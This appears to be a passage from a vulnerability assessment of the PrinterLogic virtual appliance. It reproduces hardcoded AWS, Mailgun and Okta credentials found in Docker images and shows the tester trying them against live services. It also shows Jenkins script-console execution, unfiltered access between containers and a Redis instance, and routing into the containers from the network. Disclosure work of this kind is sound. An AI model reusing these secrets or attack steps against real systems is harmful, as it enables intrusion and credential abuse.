Hardcoded AWS keys in `Readme.md`, `.env` and `.env.local` files:

    
root@printerlogic:/var/lib/docker/overlay2/b824f2e313d90952d397bc61401bff229c6feea92597b8d37758b959b08d2ffa/merged/var/www/app#
 less Readme.md
    
    AWS_ACCESS_KEY_ID: AKIAJ5I5ZX5VQ43PMYIQ
    AWS_DEFAULT_REGION: us-west-2
    AWS_QUEUE_NAMESPACE: 709423830911
    AWS_QUEUE_PREFIX: service-pi_
    AWS_SECRET_ACCESS_KEY: (secret key is here)
    QUEUE_DRIVER: sqs
    
    
    root@printerlogic:~# docker exec -it f0e85e3f453e bash
    root@f0e85e3f453e:/var/www/app#  printenv
    AWS_DEFAULT_REGION=us-west-2
    AWS_QUEUE_PREFIX=appliance_
    AWS_SECRET_ACCESS_KEY=
    AWS_DB_BACKUP_BUCKET=appliance-storage-01-us-west-2-dbbackups
    AWS_ACCOUNT_ID=
    AWS_ACCESS_KEY_ID=
    AWS_QUEUE_NAMESPACE=453267620913
    
    
    root@6eff9ad21815:/var/www/app# cat .env.local
    #
    # Environment variables expected by config/aws.php and config/queue.php
    # Docker will set them at container runtime
    #
    # AWS variables only apply when QUEUE_CONNECTION=sqs
    #AWS_ACCESS_KEY_ID=AKIAIWHNML7OFS67RVKQ
    #AWS_SECRET_ACCESS_KEY=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
    #AWS_DEFAULT_REGION=us-west-2
    #AWS_QUEUE_PREFIX=local_
    #AWS_QUEUE_NAMESPACE=453267620913
    
    
    
AWS_ROLE_ARN=arn:aws:iam::${INSTANCE_ACCOUNT_ID:-}:role/engineering/services/pl-migrations-${PRINTERCLOUD_DOMAIN}
    
    
    
    root@5513823753ee:/var/www/app# cat .env
    
    
    #AWS_ACCESS_KEY_ID=AKIAIWHNML7OFS67RVKQ
    #AWS_SECRET_ACCESS_KEY=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
    
    
    cat 
./out-images/ca4c2c2f1d1ae20e040f645497fadeb96292efc22af690ae5d6f78629c9d80a5/var/www/app/.env.local
    # Docker will set them at container runtime - local environments use 
database queues, not AWS
    #
    # AWS_ACCESS_KEY_ID=SECRETS_DO_NOT_BELONG_HERE
    # AWS_SECRET_ACCESS_KEY=SECRETS_DO_NOT_BELONG_HERE
    AWS_DEFAULT_REGION=us-west-2
    AWS_DB_BACKUP_BUCKET=pl-pi-db-backup
    # AWS_QUEUE_PREFIX=local_
    # AWS_QUEUE_NAMESPACE=453267620913

Laravel may use these keys to store data.

Content of the `filesystems.php` configuration file for Laravel:

[code:php]
kali% cat ./www/app/config-laravel/filesystems.php

        's3DbBackup' => [
            'driver' => 's3',
            'key'    => env('AWS_ACCESS_KEY_ID'),
            'secret' => env('AWS_SECRET_ACCESS_KEY'),
            'region' => env('AWS_DEFAULT_REGION', 'us-west-2'),
            'bucket' => env('AWS_DB_BACKUP_BUCKET'),
        ],
[/code]

When testing these keys, luckily they do not work:

    kali% aws configure
    AWS Access Key ID [None]: AKIAIWHNML7OFS67RVKQ
    AWS Secret Access Key [None]: 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
    Default region name [None]: us-west-2
    Default output format [None]: json
    kali% aws s3 ls
    An error occurred (InvalidAccessKeyId) when calling the ListBuckets 
operation: The AWS Access Key Id you provided does not exist in our records.

When trying to find other credentials, it appears some AWS buckets are defined 
in shell scripts:

Grepping `BUCKET` in the Docker instances:

    
./out-images/10daa560935d018324043b3ae4110cc94d91e24ab756da94634f6106b2f69ec6/var/www/app/.env:AWS_DB_BACKUP_BUCKET=pl-pi-db-backup
    
./out-images/f9380ebd8863a503cfb6f1864cfd46dc28611d1e35c7569fc26eb07700c41f63/opt/pc-sys/env/base/app.env:AWS_DB_BACKUP_BUCKET="${ENVIRONMENT:-prod}-storage-01-${REGION:-us-west-2}-dbbackups"
    
./out-images/f9380ebd8863a503cfb6f1864cfd46dc28611d1e35c7569fc26eb07700c41f63/opt/pc-sys/env/overlays/service-stack/app.env:AWS_DB_BACKUP_BUCKET=service-${LOCAL_SERVICE}-${REGION:-us-west-2}-dbbackups

This list is not exhaustive and it is recommended to review every Docker 
instance.

- From the script `get-aws-secret.sh`, it appears the solution uses AWS Secret 
Manager to retrieve username and password of the PrinterLogic Jenkins servers 
(buildmaster-01.pl-labs.com and buildmaster-02.pl-labs.com):

[code:shell]
root@printerlogic:/var/lib/docker/overlay2/8a3ab41bb86c5ad10915b7a9840fcd4584b7cb2761b653856d81626025dcc1a9/diff/opt/bin#
 grep get-aws-secret.sh *
aws-mon.sh:  JENKINS_USERNAME=$(/var/www/cicd-linux-ops/bin/get-aws-secret.sh 
jenkins_access username)
aws-mon.sh:  JENKINS_PASSWORD=$(/var/www/cicd-linux-ops/bin/get-aws-secret.sh 
jenkins_access password)
aws-mon.sh:  
JENKINS_CREDENTIAL_ID=$(/var/www/cicd-linux-ops/bin/get-aws-secret.sh 
jenkins_access credential_id)

root@printerlogic:/var/lib/docker/overlay2/8a3ab41bb86c5ad10915b7a9840fcd4584b7cb2761b653856d81626025dcc1a9/diff/opt/bin#
 cat get-aws-secret.sh 
#!/bin/bash
SECRET_ID=$1
SECRET_KEY=$2
if [[ -z "${SECRET_ID}" ]] ; then 
    echo "You must specify the secret id and key (in that order)" && exit 1
fi
if [[ -z "${SECRET_KEY}" ]] ; then 
    echo "You must specify the secret id and key (in that order)" && exit 1
fi

# Get the secret
SECRET_VALUE=$(aws secretsmanager --output text get-secret-value --secret-id 
${SECRET_ID} | awk '{print $4}' | jq -r ".${SECRET_KEY}")
if [[ $? -gt 0 ]] || [[ -z "${SECRET_VALUE}" ]] ; then 
    echo "Unable to find a value for id: '${SECRET_ID}' and key: 
'${SECRET_KEY}'" && exit 1
fi

# Release the hounds!
echo ${SECRET_VALUE}
[/code]

After analyzing some shell scripts present in Docker instances, the scripts are 
also used to execute code on remote Jenkins instances:

Managing buildmaster-01.pl-labs.com:

[code:shell]
kali% pwd
/home/user/printerlogic/updates/out/out-images/4ecc6d1307c1c74ddccbdc983b2fe024742ec0531265255b5730dcb5afc0fa52
kali% less opt/build/bin/lifecycle-hook-watch.sh
#!/bin/bash -l
JENKINS_URL=buildmaster-01.pl-labs.com  

# How long to wait for jenkins jobs to complete before forcefully killing the 
instance
WAIT_MINUTES=45

# Get Jenkins secret info
JENKINS_USERNAME=$(get-aws-secret.sh jenkins_access username)
JENKINS_PASSWORD=$(get-aws-secret.sh jenkins_access password)
JENKINS_CREDENTIAL_ID=$(get-aws-secret.sh jenkins_access credential_id)
if [[ -z "${JENKINS_USERNAME}"  ]] || [[ -z "${JENKINS_PASSWORD}"  ]] || [[ -z 
"${JENKINS_CREDENTIAL_ID}" ]]; then
        echo "Missing one or more of jenkins username/password/credential_id" 
&& exit 1
fi

# Get a temporary token so we can make a curl requests to jenkins
JENKINS_TOKEN=$(curl -u ${JENKINS_USERNAME}:${JENKINS_PASSWORD} 
''${JENKINS_URL}'/crumbIssuer/api/xml?xpath=concat(//crumbRequestField,":",//crumb)')
if [[ $? -gt 0  ]] || [[ -z "${JENKINS_TOKEN}"  ]]; then
        echo "Unable to retrieve a token from the jenkins master" && exit 1
fi
...
# Mark this node offline so it won't take more jobs
echo "Taking node $INSTANCE_IP offline"
curl -X POST -s -u  ${JENKINS_USERNAME}:${JENKINS_PASSWORD} -H 
"${JENKINS_TOKEN}" 
${JENKINS_URL}/computer/linux-build-${INSTANCE_IP}/toggleOffline?offlineMessage=ScalingDown

# Check for jobs running on this node, wait if necessary
i=0; until [ $i -ge $WAIT_MINUTES ]; do
  RESP=$(curl -s -u ${JENKINS_USERNAME}:${JENKINS_PASSWORD} -H 
"${JENKINS_TOKEN}" 
${JENKINS_URL}/computer/linux-build-${INSTANCE_IP}/loadStatistics/api/json?depth=2)
  BUSY_EXECS=$(echo $RESP | jq '.busyExecutors.sec10.latest')
...
 Remove node from Jenkins entirely
curl -X POST -s -u  ${JENKINS_USERNAME}:${JENKINS_PASSWORD} -H 
"${JENKINS_TOKEN}" ${JENKINS_URL}/computer/linux-build-${INSTANCE_IP}/doDelete
[/code]

Executing code on buildmaster-01.pl-labs.com:
[code:shell]
kali% less opt/build/bin/register-node.sh
JENKINS_URL="http://jenkins.pl-labs.com";
NODE_IP="${INSTANCE_IP}"
...
JENKINS_USERNAME=$(get-aws-secret.sh jenkins_access username)
JENKINS_PASSWORD=$(get-aws-secret.sh jenkins_access password)
JENKINS_CREDENTIAL_ID=$(get-aws-secret.sh jenkins_access credential_id)
...
curl -v -u ${JENKINS_USERNAME}:${JENKINS_PASSWORD} -H "${TOKEN}" -d 'script=
import hudson.model.Node.Mode
import hudson.slaves.*
import jenkins.model.Jenkins
import hudson.plugins.sshslaves.SSHLauncher
import hudson.plugins.sshslaves.verifiers.*
SshHostKeyVerificationStrategy hostKeyVerificationStrategy = new 
NonVerifyingKeyVerificationStrategy()
DumbSlave dumb = new DumbSlave("'${NODE_NAME}'",
"'"${NODE_DESC}"'",
"/home/jenkins",
"'"${NODE_EXECUTORS}"'",
Mode.EXCLUSIVE,
"'"${NODE_LABELS}"'",
new hudson.plugins.sshslaves.SSHLauncher("'"${NODE_HOST}"'", 22, 
"'"${JENKINS_CREDENTIAL_ID}"'", null, null, "", "", 210, 0, 0, 
hostKeyVerificationStrategy),
RetentionStrategy.INSTANCE)
Jenkins.instance.addNode(dumb)
' ${JENKINS_URL}/script
[/code]

Some scripts allow monitoring Jenkins, e.g.:

Monitoring a Jenkins server:

[code:shell]
printerlogic:/var/lib/docker/overlay2/8a3ab41bb86c5ad10915b7a9840fcd4584b7cb2761b653856d81626025dcc1a9/diff/opt/bin#
 vi aws-mon.sh 
 25 instanceid=${INSTANCE_ID}
 26 azone=${INSTANCE_AZ}
 27 region=${REGION}
 28 export EC2_REGION=$region
[...]
671 if [ $JENKINS_BUILD_EXECUTORS -eq 1 ]; then
672   JENKINS_URL=buildmaster-01.pl-labs.com
673   LOCAL_IP=$(hostname --ip-address)
674 
675   # Get Jenkins secret info
676   JENKINS_USERNAME=$(/var/www/cicd-linux-ops/bin/get-aws-secret.sh 
jenkins_access username)
677   JENKINS_PASSWORD=$(/var/www/cicd-linux-ops/bin/get-aws-secret.sh 
jenkins_access password)
678   JENKINS_CREDENTIAL_ID=$(/var/www/cicd-linux-ops/bin/get-aws-secret.sh 
jenkins_access credential_id)
679   if [[ -z "${JENKINS_USERNAME}" ]] || [[ -z "${JENKINS_PASSWORD}" ]] || [[ 
-z "${JENKINS_CREDENTIAL_ID}" ]]; then
680     echo "Missing one or more of jenkins username/password/credential_id" 
&& exit 1
681   fi
682 
683   # Get a temporary token so we can make a curl call to register this node
684   TOKEN=$(curl -s -u ${JENKINS_USERNAME}:${JENKINS_PASSWORD} 
''${JENKINS_URL}'/crumbIssuer/api/xml?xpath=concat(//crumbRequestField,":",//crumb)')
685   if [[ $? -gt 0 ]] || [[ -z "${TOKEN}" ]]; then
686     echo "Unable to retrieve a token from the jenkins master" && exit 1
687   fi
688 
689   # Gather statistics for this build node
690   RESP=$(curl -s -u ${JENKINS_USERNAME}:${JENKINS_PASSWORD} -H "${TOKEN}" 
${JENKINS_URL}/computer/linux-build-${LOCAL_IP}/loadStatistics/api/json?depth=2)
691   avail_ex=$(echo $RESP | jq '.availableExecutors.sec10.latest')
692   busy_ex=$(echo $RESP | jq '.busyExecutors.sec10.latest')
693   queue_length=$(echo $RESP | jq '.queueLength.sec10.latest')
694   if [ $VERBOSE -eq 1 ]; then
695     echo "Available executors: $avail_ex"
696     echo "Busy executors: $busy_ex"
697     echo "Queue length: $queue_length"
698   fi
699   if [ $VERIFY -eq 0 ]; then
700     aws cloudwatch put-metric-data --metric-name 
"JenkinsAvailableExecutors" --value "$avail_ex" --unit "Count" $CLOUDWATCH_OPTS
701     aws cloudwatch put-metric-data --metric-name "JenkinsBusyExecutors" 
--value "$busy_ex" --unit "Count" $CLOUDWATCH_OPTS
702     aws cloudwatch put-metric-data --metric-name "JenkinsQueueLength" 
--value "$queue_length" --unit "Count" $CLOUDWATCH_OPTS
703   fi
[/code]

Storing AWS keys in the solution is not a normal situation. If these keys work, 
attackers can use them to compromise infrastructures and start a supply chain 
attack against customers.

The CI/CD scripts provide a lot of information to attackers and can be used for 
lateral movement in order to compromise the PrinterLogic infrastructure.



## Details - Hardcoded Mailgun credentials

It is possible to extract Mailgun secret keys from .env files:

    root@printerlogic:/var/lib/docker/overlay2# docker exec -it 5513823753ee 
bash 
    root@5513823753ee:/var/www/app# cat .env 
    [...]
    MAILGUN_DOMAIN=mg.printerlogic.com
    MAILGUN_SECRET=key-d5f3073e938dd40c6a0bda511078a5e8

After testing this API key using the example provided in 
https://documentation.mailgun.com/en/latest/quickstart-sending.html#send-via-api,
 the API seems to be inactive:

    kali% curl -s --user 'api:key-d5f3073e938dd40c6a0bda511078a5e8' \
        https://api.mailgun.net/v3/mg.printerlogic.com/messages \    
        -F from='Excited User <mailgun@xxxxxxxxxxxxxxxxxxx>' \   
        -F to=[redacted]@[redacted] \                     
        -F subject='Hello' \             
        -F text='Testing API key - report PrinterLogic VA'
    
    Forbidden                                                                   
                                                                                
 
    kali% curl -s --user 'api:d5f3073e938dd40c6a0bda511078a5e8' \    
        https://api.mailgun.net/v3/mg.printerlogic.com/messages \
        -F from='Excited User <mailgun@xxxxxxxxxxxxxxxxxxx>' \
        -F to=[redacted]@[redatected] \
        -F subject='Hello' \
        -F text='Testing API key - report PrinterLogic VA'
                                                                     
    Forbidden

While this API key is disabled, it is recommended not to store secret keys in 
Docker instances.



## Details - Hardcoded OKTA Private key

Okta is a trusted platform for Single Sign-On.

An Okta private key was found along with configuration options in .env files:

    kali% grep -i okta **/.env
      local secrets="DB_PASSWORD LACEWORK_TOKEN DATADOG_LICENSE OKTA_API_KEY 
MC_API_PASSWORD MS_AUTH_KEY APP_AWS_SECRET_ACCESS_KEY"
    API_OKTA_URL=http://okta.printercloud
      local secrets="DB_PASSWORD LACEWORK_TOKEN DATADOG_LICENSE OKTA_API_KEY 
MC_API_PASSWORD MS_AUTH_KEY APP_AWS_SECRET_ACCESS_KEY"
    
    OKTA_API_KEY=00ePtVAhUmRPp3DkxP1YIPrnQQHjocNs3M3p_NzYlQ# PHP_IDE_CONFIG 
identifies the code base to PhpStorm while debugging
    OKTA_BASE_URL=https://vasion.okta.com/
    OKTA_CLIENT_ID=${WILDEPRINTERS_OKTA_CLIENT_ID:-}
    OKTA_CLIENT_SECRET=${WILDEPRINTERS_OKTA_CLIENT_SECRET:-}
    
OKTA_LOGOUT_REDIRECT_URI=${PRINTERCLOUD_SCHEME:-https}://migration.${PRINTERCLOUD_APP_DOMAIN}/
    OKTA_TENANT_URL=${OKTA_TENANT_URL:-https://printerlogicops-admin.okta.com}
    OKTA_TENANT_URL=https://acme2.oktapreview.com
    API_OKTA_URL=http://okta.printercloud
    API_OKTA_URL=https://okta
    OKTA_BASE_URL=https://vasion.okta.com/
    OKTA_TENANT_URL=${OKTA_TENANT_URL:-https://printerlogicops-admin.okta.com}
    OKTA_TENANT_URL=https://acme2.oktapreview.com
    # The OKTA_TENANT_URL is currently set in the secrets file for each 
environment
    # Okta Microservice API
    API_OKTA_URL=https://okta
    API_OKTA_VERIFYSSL=false

After testing this API key, it appears not to be valid:

    kali% curl -s -H "Authorization: SSWS 
00ePtVAhUmRPp3DkxP1YIPrnQQHjocNs3M3p_NzYlQ" 
https://vasion.okta.com/api/v1/meta/types/user
    {"errorCode":"E0000011","errorSummary":"Invalid token 
provided","errorLink":"E0000011","errorId":"oaetRN3rSwbROWcHTQRT7uQpA","errorCauses":[]}
    kali% curl -s -H "Authorization: SSWS 
00ePtVAhUmRPp3DkxP1YIPrnQQHjocNs3M3p_NzYlQ" 
https://printerlogicops-admin.okta.com/api/v1/meta/types/user
    {"errorCode":"E0000011","errorSummary":"Invalid token 
provided","errorLink":"E0000011","errorId":"oaezEnKwIo6Rsyu6lRJCuu7Jg","errorCauses":[]}
    kali% curl -s -kv -H "Authorization: SSWS 
00ePtVAhUmRPp3DkxP1YIPrnQQHjocNs3M3p_NzYlQ" 
https://acme2.oktapreview.com/api/v1/meta/types/user
    {"errorCode":"E0000011","errorSummary":"Invalid token 
provided","errorLink":"E0000011","errorId":"oaekbszU1leTMa0p1PlOjlSuQ","errorCauses":[]}
    kali%

Storing private keys in the solution is not a normal situation. If these keys 
work, attackers can use them to compromise infrastructures and start a supply 
chain attack against customers.



## Details - Lack of firewall between Docker instances

The solution uses 40 different Docker instances with several networks.

Listing of Docker instances:

    root@printerlogic:~# docker ps
    CONTAINER ID        IMAGE                            COMMAND                
  CREATED             STATUS                       PORTS                        
    NAMES
    16178d2bccb2        printerlogic/va-api:1.1.4        "/opt/entrypoint.sh"   
About an hour ago   Up About an hour (healthy)   80/tcp                         
  printercloud-appliance_va-api.1.fwacyv7l7gqxqrtwox45kvp1i
    9f72609937de        printerlogic/pi:5.0.6539         "/var/www/app/.docke"  
About an hour ago   Up About an hour             80/tcp, 443/tcp, 9000-9001/tcp 
  printercloud_worker-pi-seeder.1.tbniqiidu8vtqpjtxjwh8oxsm
    a393b51c084e        printerlogic/authn:1.0.257       "/var/www/app/.docke"  
About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp, 9000-9001/tcp 
  printercloud_authn.1.jx70uxweg3iown085yiuis4j6
    7a508d3d8623        printerlogic/oncp-hold:v1.0.31   "./cloud-print-job-h"  
About an hour ago   Up About an hour (healthy)   80/tcp                         
  printercloud_oncp-hold.1.u3ac7ousxjn4ff5kkcvwgf9n4
    69e727ce5901        printerlogic/pi:5.0.6539         "/var/www/app/.docke"  
About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp, 9000-9001/tcp 
  printercloud_pi.1.nk5ouy3a7jwid082dhzl0mix5
    d4a0594b6121        printerlogic/ebc:1.0.34          "/var/www/app/.docke"  
About an hour ago   Up About an hour (healthy)   80/tcp, 9229/tcp               
  printercloud_ebc.1.1e4rjf6mzq9t53swqdgxgfnwu
    ed12cf7e4428        printerlogic/oncp-reg:1.0.15     "/opt/entrypoint.sh"   
About an hour ago   Up About an hour (healthy)                                  
  printercloud_oncp-reg.1.y5dmk4y84g6rjyrt4t53syutz
    0ee9b6a63f59        printerlogic/idpi:1.0.6          "/var/www/app/.docke"  
About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp, 9000-9001/tcp 
  printercloud_idpi.1.35xxr3pqef00ivcn2no6y90rr
    6092ba3e4189        printerlogic/oncp-pgw:v1.0.21    "./cloud-print-print"  
About an hour ago   Up About an hour (healthy)   80-81/tcp                      
  printercloud_oncp-pgw.1.x9j0c6o7ydf0ehb2pmwxb70fj
    11146de0ed76        dperson/samba:latest             "/sbin/tini -- /opt/"  
About an hour ago   Up About an hour (healthy)   139/tcp, 137-138/udp, 445/tcp  
  config_samba.1.dfwyt1m90ab30k75fogxhcxcz
    7d39399f459a        printerlogic/pi:5.0.6539         "/var/www/app/.docke"  
About an hour ago   Up About an hour             80/tcp, 443/tcp, 9000-9001/tcp 
  printercloud_worker-pi-reports.1.es8sfg9p6zya8r8396izh5z1i
    bb96b17d45b8        printerlogic/pi:5.0.6539         "/var/www/app/.docke"  
About an hour ago   Up About an hour             80/tcp, 443/tcp, 9000-9001/tcp 
  printercloud_worker-pi-snmp.1.ttxndt3y7brnkw95vxluhht7l
    f784e1b43237        printerlogic/qms:1.0.124         "/opt/entrypoint.sh"   
About an hour ago   Up About an hour (healthy)                                  
  printercloud_qms.1.ek9zr8g67vb9k0s1n9nv2s736
    9ad5da8b9d25        printerlogic/sched:1.0.18        "/var/www/app/.docke"  
About an hour ago   Up About an hour             80/tcp, 443/tcp, 9000/tcp      
  printercloud-appliance_worker-scheduler.1.sy93cqxhn8fjypvfg9eu78may
    a2cac82b5586        printerlogic/users:5.186.1       "/var/www/app/.docke"  
About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp, 9000-9001/tcp 
  printercloud_users.1.zoorlq8nwkx15smt2cegigo8h
    b3b7793a3e95        printerlogic/pi:5.0.6539         "/var/www/app/.docke"  
About an hour ago   Up About an hour             80/tcp, 443/tcp, 9000-9001/tcp 
  printercloud_worker-pi-low.1.whls4vm5xshz3h44c462iwdc1
    77c42d53c3b2        mysql:8.0.26                     "docker-entrypoint.s"  
About an hour ago   Up About an hour (healthy)   3306/tcp, 33060/tcp            
  storage_mysql.1.ff8nbsv250u5d3vqk9r62ripe
    b4f9ccdf92cb        printerlogic/gw:1.208.5          "/var/www/app/.docke"  
About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp, 9000-9001/tcp 
  printercloud_gw.1.vznnoqqf3kbhcwfwkl3plzi39
    ac69cca5df62        printerlogic/pi:5.0.6539         "/var/www/app/.docke"  
About an hour ago   Up About an hour             80/tcp, 443/tcp, 9000-9001/tcp 
  printercloud_worker-pi-high.1.3cr0gdxirucwzdk2j5d0rbtja
    f37db8c79a50        printerlogic/br:1.0.62           "/var/www/app/.docke"  
About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp                
  printercloud_br.1.30m12skgwj5mu3y0ypfkp319q
    9098f6052c94        printerlogic/identity:v1.0.88    "/usr/local/bin/iden"  
About an hour ago   Up About an hour (healthy)   80/tcp                         
  printercloud_identity.1.8x0lwby90079bojeabu8vhead
    0bf820403a1a        printerlogic/edw:1.0.44          "/opt/entrypoint.sh"   
About an hour ago   Up About an hour (healthy)                                  
  printercloud_edw.1.yt5pd4mmletn81vs3wo5dz77q
    bf43c1f6503e        printerlogic/users:5.186.1       "/var/www/app/.docke"  
About an hour ago   Up About an hour             80/tcp, 443/tcp, 9000-9001/tcp 
  printercloud_worker-users-queue.1.n3hbhjezaps6gwkw1nuqupdq4
    bc477aaff3d7        printerlogic/oncp-ofn:v1.0.6     "off-network-app"      
  About an hour ago   Up About an hour (healthy)   80/tcp                       
    printercloud_oncp-ofn.1.szvk26xlr897j96p2z29hlv9p
    171c014430d7        printerlogic/tree:1.0.57         "/var/www/app/.docke"  
About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp, 9000-9001/tcp 
  printercloud_tree.1.7n99xw0qv856wjvj3eleaflij
    a7656e45349d        traefik:latest                   "/srv/entrypoint.sh"   
About an hour ago   Up About an hour             80/tcp                         
  networking_traefik.1.rjigvw3twkt4qkeldzbqbqn2u
    8ec8a6bf4555        printerlogic/scim:1.0.9          "/var/www/app/.docke"  
About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp, 9000-9001/tcp 
  printercloud_scim.1.okyfdbo5ct76v54eppsanw0me
    e9994d5a21bf        printerlogic/prs:1.0.2           "/var/www/app/.docke"  
About an hour ago   Up About an hour (healthy)   80/tcp, 9229/tcp               
  printercloud_prs.1.6uuzdvqkb39u910gw9e3yupfy
    5b99b9c2a4b2        printerlogic/eb:0.0.4            "/var/www/app/.docke"  
About an hour ago   Up About an hour (healthy)   3000/tcp, 9229/tcp             
  printercloud_eb.1.wtzjn9sdbl6wva6dy3u1y1nh5
    d2e3989f4cf3        printerlogic/cpp-ui:1.80.5       "/var/www/app/.docke"  
About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp, 9000-9001/tcp 
  printercloud_cpp-ui.1.qhmgeshht9gip0quyhppdogv3
    fce5597bbe3d        printerlogic/va-cdn:0.0.435      "/docker-entrypoint."  
About an hour ago   Up About an hour             80/tcp                         
  printercloud-appliance_va-cdn.1.copecxekt4rwuxfq4tynfm1a6
    294dbdd973da        printerlogic/scd:1.0.70          "/var/www/app/.docke"  
About an hour ago   Up About an hour             80/tcp, 443/tcp, 9000-9001/tcp 
  printercloud_scd.1.3eef4r68kmkqnc5dcswa3xjhv
    6cb464ab04b7        portainer/agent:latest           "./agent"              
  About an hour ago   Up About an hour                                          
    
printercloud_portainer-agent.a6zgwxfp4n2v4tdi8u7b40shy.aoew1w8ym8p1hai6ch38dau7j
    55b64c63a9f6        printerlogic/pq:5.0.124          "/var/www/app/.docke"  
About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp, 9000/tcp      
  printercloud_pq.1.vwp9poc8belv24mxwijeeetct
    a7bff45e538c        printerlogic/ofn:1.108.0         "off-network-app"      
  About an hour ago   Up About an hour (healthy)   80/tcp                       
    printercloud_ofn.1.18qn5bj4eqgpbq2d94k6hy8vx
    317daac676fd        printerlogic/scss:1.0.39         "/var/www/app/.docke"  
About an hour ago   Up About an hour (healthy)   80/tcp, 9229/tcp               
  printercloud_scss.1.uc6fcunwy1s3hdb6di4avqlzb
    6b3781947b83        printerlogic/client:25.1.0.551   "/bin/sh -c 'supervi"  
About an hour ago   Up About an hour                                            
  printercloud-appliance_client.1.pnbxglabahqd9prozbvbs55sc
    1d856b21e63d        redis:5-alpine                   "docker-entrypoint.s"  
About an hour ago   Up About an hour (healthy)   6379/tcp                       
  storage_redis.1.zachure4n159uah7xsu3ixau6
    a842502dcc97        printerlogic/cat:1.0.58          "/var/www/app/.docke"  
About an hour ago   Up About an hour (healthy)   80/tcp, 9229/tcp               
  printercloud_cat.a6zgwxfp4n2v4tdi8u7b40shy.fgp2p5wo56hg4sanjmirpoyzl
    022c2a2201b4        printerlogic/hive:1.1.30         "/opt/entrypoint.sh"   
5 days ago          Up About an hour                                            
  cicd_hive_1
    root@printerlogic:~#

By default, there are no firewall rules between Docker instances, allowing an 
attacker to compromise an instance to attack other instances (`lateral 
movements`).

For example, it is possible to reach a Docker instance providing PHP webpages 
from another instance.

HTTP requests inside the `172.17.130.0/24` network:

    bash-5.0# curl -kv http://172.17.130.40/index.php
    * Uses proxy env variable no_proxy == 
'fake-host,localhost,*.local,*.printercloud,*.overlay,127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16'
    *   Trying 172.17.130.40:80...
    * TCP_NODELAY set
    * Connected to 172.17.130.40 (172.17.130.40) port 80 (#0)
    > GET /index.php HTTP/1.1
    > Host: 172.17.130.40
    > User-Agent: curl/7.66.0
    > Accept: */*
    >
    * Mark bundle as not supporting multiuse
    < HTTP/1.1 200 OK
    < Server: nginx
    < Content-Type: text/html; charset=UTF-8
    < Transfer-Encoding: chunked
    < Connection: keep-alive
    < Cache-Control: no-cache, private
    < Date: Wed, 26 Jan 2022 04:59:37 GMT
    * Added cookie 
XSRF-TOKEN="eyJpdiI6Ijg3VVVyUzNiQ0dDblVmR3ZGWFRSSFE9PSIsInZhbHVlIjoiWVhaYzFSMExUUmI0bU9yeHoxRmhjQzJ6UFhPYVFSbllvdE9jQmRLbWhkRWFIdWt3b2puc2lRSVRpVnVuTXJ1KyIsIm1hYyI6IjFkMTk3NWRhMzgwNDViOTU1OTczMjJhNTRiMDUwMDFiMWMwNWU1NzlhZTUwNmExNDk1YTJiMTJkNjY5ZjFmOTgifQ%3D%3D"
 for domain 172.17.130.40, path /, expire 1643180377
    < Set-Cookie: 
XSRF-TOKEN=eyJpdiI6Ijg3VVVyUzNiQ0dDblVmR3ZGWFRSSFE9PSIsInZhbHVlIjoiWVhaYzFSMExUUmI0bU9yeHoxRmhjQzJ6UFhPYVFSbllvdE9jQmRLbWhkRWFIdWt3b2puc2lRSVRpVnVuTXJ1KyIsIm1hYyI6IjFkMTk3NWRhMzgwNDViOTU1OTczMjJhNTRiMDUwMDFiMWMwNWU1NzlhZTUwNmExNDk1YTJiMTJkNjY5ZjFmOTgifQ%3D%3D;
 expires=Wed, 26-Jan-2022 06:59:37 GMT; Max-Age=7200; path=/
    <
    * Connection #0 to host 172.17.130.40 left intact

The Redis instance is directly reachable from this internal network - this 
allows an attacker to compromise the Redis instance from any Docker instance:

    printerlogic:~# docker ps|grep redis
    1d856b21e63d        redis:5-alpine                   "docker-entrypoint.sh" 
 About an hour ago   Up About an hour (healthy)   6379/tcp                      
   storage_redis.1.zachure4n159uah7xsu3ixau6
    root@printerlogic:~# docker inspect 1d856b21e63d|grep 172
                "SandboxID": 
"3aa3895b4d208b6e938c5e11729dfc07522858896f2cd91b1666b51f7b6d8811",
                            "IPv4Address": "172.17.130.35"
                        "IPAddress": "172.17.130.35",
    root@printerlogic:~#

- From `printerlogic/scd:1.0.70`, there is a full access to the redis instance. 

    bash-5.0# nc 172.17.130.21 6379
    HELO
    -ERR unknown command `HELO`, with args beginning with:

All the Docker instances have access to the redis instance, meaning it is 
possible from any docker instance to execute commands on the Redis instance 
using master/slave replication 
(https://www.rapid7.com/db/modules/exploit/linux/redis/redis_replication_cmd_exec/).

An attacker compromising a Docker instance can use lateral movement to 
compromise other Docker instances. Compromising the Redis instance is trivial.



## Details - Insecure access to Docker instances from the WAN

An attacker with a machine located on the same network segment (layer 2) can 
add a route to the IPs of Docker instances using the external IP of the 
solution as a gateway. He will then be able to reach internal services running 
inside Docker instances - PrinterLogic will act as a network gateway, providing 
access to the internal Docker instances.

Proof of Concept:

On the machine running PrinterLogic VA, the docker instance `printerlogic/ebc` 
uses 2 IPs (`172.17.130.74` and `172.17.0.156`):

Configuration of `printerlogic/ebc`:

    root@printerlogic:/var/lib/docker/overlay2# docker ps | grep 
printerlogic/ebc:1.0.34
    d61d429548aa        printerlogic/ebc:1.0.34          "/var/www/app/.docke"  
3 hours ago         Up 3 hours (healthy)   80/tcp, 9229/tcp                 
printercloud_ebc.1.iat3at5k4neth8k016wz5cjq3
    root@printerlogic:/var/lib/docker/overlay2# docker exec -it d61d429548aa 
/bin/bash
    bash-5.0# ifconfig
    eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:82:4A  
              inet addr:172.17.130.74  Bcast:172.17.131.255  Mask:255.255.254.0
              UP BROADCAST RUNNING MULTICAST  MTU:1424  Metric:1
              RX packets:76 errors:0 dropped:0 overruns:0 frame:0
              TX packets:39 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:0 
              RX bytes:7533 (7.3 KiB)  TX bytes:4160 (4.0 KiB)
    
    eth1      Link encap:Ethernet  HWaddr 02:42:AC:11:00:9C  
